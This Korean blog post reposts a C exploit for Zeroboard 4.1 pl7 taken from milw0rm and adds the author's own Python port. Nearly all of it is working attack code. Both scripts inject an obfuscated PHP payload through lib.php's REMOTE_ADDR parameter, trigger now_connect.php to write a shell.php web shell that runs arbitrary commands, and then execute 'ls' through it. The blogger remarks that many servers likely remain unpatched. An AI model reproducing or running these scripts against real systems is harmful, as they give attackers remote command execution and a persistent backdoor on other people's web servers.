Zeroboard 4.1 pl7 now_connect() Remote Code Execution Exploit

Zeroboard 4.1 pl7에 대한 Exploit 코드가 공개되었네요. http://milw0rm.com/exploits/9590

취약점은 예전에 알려진 취약점으로 이미 pl8 버젼에 패치가 되었던걸로 기억하네요. 하지만 여전히 패치가 안된 서버가 많겠죠? -_-

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
/*

poc by  kyoungchip,jang
email : SpeeDr00t1004@gmail.com

[*] the bug 
- http://www.xpressengine.com/15955761

Application 
- Zeroboard 4.1 pl7 

Reference: 
- http://www.nzeo.com 
- Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada 

[*] Target - My test server 

$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test 
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test 
- Target :  http://xxx.xxx.xxx/zboard/bbs/shell.php?cmd=ls 

[+] xxx.xxx.xxx connecting ok! 
[+] Exploiting zeroboard start  - [+] Exploiting success!!
[*] Create Backdoor Start - [+] Create Backdoor  success!!
[*] Confirmming your backdoor php script - http://192.168.179.6/zeroboard/zb41pl7/bbs/data/shell.php is generated!
[+] Exploiting success!!
- http://192.168.179.6/zeroboard/bbs/data/shell.php?cmd=ls [+] Execute the websehll script  

 */

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>

#define BUFSIZE 4096
#define READSIZE 1500
#define EXPLOIT_CODE "*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1"

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void CreateBackdoor(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];

int main(int argc, char *argv[])
{

    char *szArgv;
    switch( argc )
    {
        case 1 :
            Usage(argv[0]);      
            break;
        case 2 :
            zb_port = 80;
            //szArgv = "http://192.168.179.6/zeroboard/zb41pl7/bbs/zboard.php?id=test";
            ParseZbHost( szArgv );
            break;

        case 3:
            zb_port = atoi(argv[2]); 
            ParseZbHost(argv[1]);

            break;
        default:

            break;
    };

    ConnectZboard(zb_host, zb_port);
    ExploitZboard();
    CreateBackdoor();
    ConfirmPHPScript();
}

void ParseZbHost( char *zbhost )
{
    char *psbuf;
    char *sptr=NULL;
    char *eptr=NULL;

    psbuf = ( char* )malloc( strlen( zbhost ) + 1 );

    strcpy( psbuf, zbhost );

    if( (sptr = strstr( psbuf , "http://" ) ) == NULL) 
        OutputErr("http://host need\n", 0);

    zb_host = sptr + 7;

    sptr = strchr(zb_host, '/');
    sptr[0] = '\0';
    sptr++;

    if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) 
        OutputErr("\"zboard.php?id=\"need\n", 0);

    zb_tid = eptr+14;

    eptr--;
    eptr[0] = '\0';

    zb_dir = sptr;

    char szOut[1024];
    memset( szOut , 0x00 , sizeof( szOut ) );
    sprintf( szOut , " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir, zb_tid);
}

void ConnectZboard( char *server , unsigned short port )
{

    struct sockaddr_in serv; 
    struct hostent *hostname;

    if( !( hostname = gethostbyname( server ) ) ) 
        printf(" \nhostname = %s\n", hostname );

    if( (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
        printf(" \n socket error ");

    memset(&serv, 0, sizeof(serv));
    serv.sin_family = AF_INET;
    serv.sin_port = htons(port);
    serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);

    if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
    {
        printf("\n not connect");
    }

    if(!reconn) 
    {
    }
    else if(reconn == 1) 
    {
    }
    reconn = 0;

}

void ExploitZboard(void)
{  

    fd_set fds;
    struct timeval tv;

    if(reconn == 1) ConnectZboard(zb_host, zb_port); 

    memset(WriteBuf, 0, sizeof(WriteBuf));

    sprintf(WriteBuf,"GET http://%s/%s/lib.php?REMOTE_ADDR=" , zb_host,zb_dir); 

    sprintf(WriteBuf+strlen(WriteBuf),
            "%s HTTP/1.1\r\n"
            "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
            "Accept-Encoding: gzip, deflate\r\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
            "Host: %s\r\n"
            "Connection: Keep-Alive\r\n"
            "\r\n",EXPLOIT_CODE, zb_host);

    fprintf(stdout, " [+] Exploiting zeroboard start ");
    fflush(stdout);

    if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

    tv.tv_sec = 60;
    tv.tv_usec = 0;

    FD_ZERO(&fds);

    for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
            if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

            if(strstr(ReadBuf, "HTTP/1.1 ")){
                if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

                if(strstr(ReadBuf+9, "200 OK\r\n")) { 
                    fprintf(stdout," - [+] Exploiting success!!\n", zb_host, zb_dir, zb_tid);
                    fflush(stdout);
                    return;
                }
                else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
                    OutputErr(" - zeroboard was patched.\n"
                            " [-] Exploit failed!\n", 0);
                }
                else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
                    OutputErr(" - Bad Request\n"
                            " [-] Exploit failed!\n", 0);
                }
                else {
                    OutputErr(ReadBuf, 0);
                }
            }

        }
    }

    fprintf(stderr," error!\n");
}

void CreateBackdoor(void)
{  

    fd_set fds;
    struct timeval tv;

    if(reconn == 1) ConnectZboard(zb_host, zb_port); 

    memset(WriteBuf, 0, sizeof(WriteBuf));

    sprintf(WriteBuf,
            "GET http://%s/%s/data/now_connect.php HTTP/1.1\r\n"
            "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
            "Accept-Encoding: gzip, deflate\r\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
            "Host: %s\r\n"
            "Connection: Keep-Alive\r\n"
            "\r\n", zb_host,zb_dir, zb_host);

    fprintf(stdout, " [*] Create Backdoor Start");
    fflush(stdout);

    if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

    tv.tv_sec = 60;
    tv.tv_usec = 0;

    FD_ZERO(&fds);

    for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
            if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

            if(strstr(ReadBuf, "HTTP/1.1 ")){
                if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

                if(strstr(ReadBuf+9, "200 OK\r\n")) { 
                    fprintf(stdout," - [+] Create Backdoor  success!!\n", zb_host, zb_dir, zb_tid);
                    fflush(stdout);
                    return;
                }
                else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
                    OutputErr(" zeroboard was patched.\n"
                            " [-] Exploit failed!\n", 0);
                }
                else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
                    OutputErr(" - Bad Request\n"
                            " [-] Exploit failed!\n", 0);
                }
                else {
                    OutputErr(ReadBuf, 0);
                }
            }

        }
    }

    fprintf(stderr," error!\n");
}

void ConfirmPHPScript(void)
{  

    fd_set fds;
    struct timeval tv;

    if(reconn == 1) ConnectZboard(zb_host, zb_port); 

    memset(WriteBuf, 0, sizeof(WriteBuf));

    sprintf(WriteBuf,
            "GET http://%s/%s/data/shell.php HTTP/1.1\r\n"
            "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
            "Accept-Encoding: gzip, deflate\r\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
            "Host: %s\r\n"
            "Connection: Keep-Alive\r\n"
            "\r\n", zb_host,zb_dir, zb_host);

    fprintf(stdout, " [*] Confirmming your backdoor php script");
    fflush(stdout);

    if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

    tv.tv_sec = 60;
    tv.tv_usec = 0;

    FD_ZERO(&fds);

    for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
            if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

            if(strstr(ReadBuf, "HTTP/1.1 ")){
                if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

                if(strstr(ReadBuf+9, "200 OK\r\n")) { 
                    fprintf(stdout," - http://%s/%s/data/shell.php is generated!\n [+] Exploiting success!!\n", zb_host, zb_dir);
                    fprintf(stdout," - http://%s/%s/data/shell.php?cmd=ls [+] Execute the websehll script  \n", zb_host, zb_dir);
                    fflush(stdout);
                    return;
                }
                else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
                    OutputErr(" - zeroboard was patched.\n"
                            " [-] Exploit failed!\n", 0);
                }
                else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
                    OutputErr(" - Bad Request\n"
                            " [-] Exploit failed!\n", 0);
                }
                else {
                    OutputErr(ReadBuf, 0);
                }
            }

        }
    }

    fprintf(stderr," error!\n");
}

void StatusProcess(void)
{

    putchar('.');
    fflush(stdout);
}

void OutputErr(char *msg, int type)
{

    if(!type)
    {
        fprintf(stderr,"%s", msg);
        fflush(stderr);
    }
    else if(type==1)
    {
        if(!strcmp(msg, zb_host)) 
        {
            herror(msg);
        }
        else 
        {
            perror(msg);
        }
    }

    exit(1);
}

void Usage(char *arg)
{ 
    fprintf(stderr,"[*] Zeroboard now_connect() vulnerability Remote code execution  exploit by SpeeDr00t\n"); 
    fprintf(stderr,"--------------------------------------------------------------------------\n");
    fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg);
    fprintf(stderr,"--------------------------------------------------------------------------\n");

    exit(1);
}

// milw0rm.com [2009-09-04]

추가로 제가 Python으로 간단하게 만든 스크립트 입니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python
import httplib, sys
from urlparse import urlparse

def main():
    if len(sys.argv) != 2:
        print 'Usage:./lib_php_remote_addr.py http://test.com/bbs/'
        sys.exit()

    input = sys.argv[1]
    o = urlparse(input)
    host = o.netloc
    path = o.path

    print '[+] HOST : ' + host
    print '[+] PATH : ' + path

    attack = '*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1'

    conn = httplib.HTTPConnection(host)
    conn.request('GET', path + '/lib.php?REMOTE_ADDR=' + attack)
    r1 = conn.getresponse()
    print r1.status, r1.reason

    conn.request('GET', path + '/data/now_connect.php')
    r1 = conn.getresponse()
    print r1.status, r1.reason

    conn.request('GET', path + '/data/shell.php?cmd=ls')
    r1 = conn.getresponse()
    print r1.read()

    conn.close()

if __name__ == '__main__':
    print '[+] Start'
    main()
    print '[+] End'
Hugo로 만듦
Jimmy의 Stack 테마 사용 중